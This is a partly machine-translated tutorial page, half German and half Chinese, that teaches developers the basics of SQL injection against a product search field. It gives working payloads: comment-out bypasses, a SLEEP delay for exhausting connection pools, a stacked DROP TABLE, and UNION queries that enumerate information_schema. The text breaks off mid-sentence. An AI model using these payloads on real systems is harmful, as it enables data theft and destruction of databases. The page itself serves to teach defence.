Heim > Datenbank > SQL > Hauptteil

Verstehen Sie schnell die Grundprinzipien der SQL-Injektion

angryTom
Freigeben: 2019-11-29 14:42:13
nach vorne
3342 Leute haben es durchsucht

Verstehen Sie schnell die Grundprinzipien der SQL-Injektion

Grundprinzipien der SQL-Injection

Die WEB-Technologie entwickelt sich mit jedem Tag weiter, das traditionelle Handwerk, SQL mit bloßen Händen zu buchstabieren, jedoch schon immer noch bei vielen Entwicklern beliebt. Denn im Vergleich zum Erlernen eines komplexen Satzes von ORM-Regeln ist die manuelle Ausführung bequemer und intuitiver. Normalerweise müssen Leute, die selbst SQL schreiben, gehört haben, dass SQL-Injection gefährlich ist, aber sie denken immer bei sich: Meine SQL-Anweisung ist so einfach, dass sie nicht injiziert werden kann.

Nehmen Sie sich 5 Minuten Zeit, um dieses vollständige Beispiel zu lesen, und wagen Sie von nun an kein Risiko mehr.

Einfaches Szenario

Es gibt eine WEB-Schnittstelle, die die Eingabe von Produktnamen ermöglicht und entsprechende Informationen zu Preis, Produktionsdatum und Produktionsstandort anzeigt. Geben Sie beispielsweise „Hammer“ ein, um Folgendes anzuzeigen:

产品 价格 生产地 生产日期
Claw Hammer 12.98 American 2019.11.07
Club Hammer 29.98 Canada 2019.11.11

Wir überspringen den Prozess der Erstellung einer Websuchoberfläche und konzentrieren uns direkt auf den wichtigsten Teil: SQL-Injection.

Wenn Sie die obige Funktion implementieren möchten, können wir ungefähr davon ausgehen, dass die vom Server verwendete SQL-Anweisung wie folgt lautet:

SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
Nach dem Login kopieren

wobei ? bedeutet, dass wir die spezifischen Informationen derzeit nicht kennen Tabellenname und Feldname, und diese SQL ist eindeutig. Was manipuliert werden kann, ist der Eingabeinhalt in einfachen Anführungszeichen „%Hammer%“. Wenn wir direkt ein einfaches Anführungszeichen in das Suchfeld eingeben. Das heißt, es wird zu

select ? from ? where ? Like '%'%';
Nach dem Login kopieren

. Dieses Zusammenfügen führt zu einem SQL-Syntaxfehler und es werden keine Ergebnisse erhalten. Wir müssen -- verwenden, um das letzte einfache Anführungszeichen auszukommentieren. Auf

select ? from ? where ? Like '%'; -- %';
Nach dem Login kopieren

-- folgt der Kommentarinhalt (Sie können auch # verwenden), damit Sie alle Produktinformationen erhalten. Bisher gibt es noch kein Gefahrensignal.

产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
Paring Knife10.98China2019.11.11
Boning Knife19.98China2019.01.01

Probieren Sie es aus und

Behalten Sie den erweiterbaren Teil mit einfachen Anführungszeichen im vorherigen Schritt bei. Versuchen wir es mit einer einfachen Verzögerungsanweisung:

select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
Nach dem Login kopieren

Zu diesem Zeitpunkt dauert es 2 Sekunden, bis die Abfrage das Ergebnis zurückgibt. Wenn die Zeit verlängert wird, verwenden Sie das Skript, um mehrmals abzufragen, und der Datenbankverbindungspool kann sein in einem Rutsch wiederhergestellt.

Natürlich gibt es noch zerstörerischere!

select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
Nach dem Login kopieren

Sie können die Tabelle/Datenbank direkt löschen. Wie erfahren Sie, welche Tabellen sich in der Datenbank befinden (d. h. wie ermitteln Sie xxxx im vorherigen SQL-Satz)?

Machen Sie mit Union, was Sie wollen

Wir müssen wissen, welche Tabellen diese Datenbank hat! Nur so können Sie nützliche Informationen erhalten.

Mit Union können Sie die Inhalte verschiedener Tabellen zusammenfügen. Probieren Sie es aus:

select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
Nach dem Login kopieren
产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
1234

可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。

Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。

select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
Nach dem Login kopieren
产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
authorshawkeye34
productshawkeye34
userhawkeye34
........34

现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。

看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。

select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
Nach dem Login kopieren
产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
idhawkeye34
namehawkeye34
pricehawkeye34
addresshawkeye34
updated_athawkeye34

所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):

select name,price,address,updated_at from products where name like '%Hammer%';
Nach dem Login kopieren

通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表

Das obige ist der detaillierte Inhalt vonVerstehen Sie schnell die Grundprinzipien der SQL-Injektion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:cnblogs.com
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage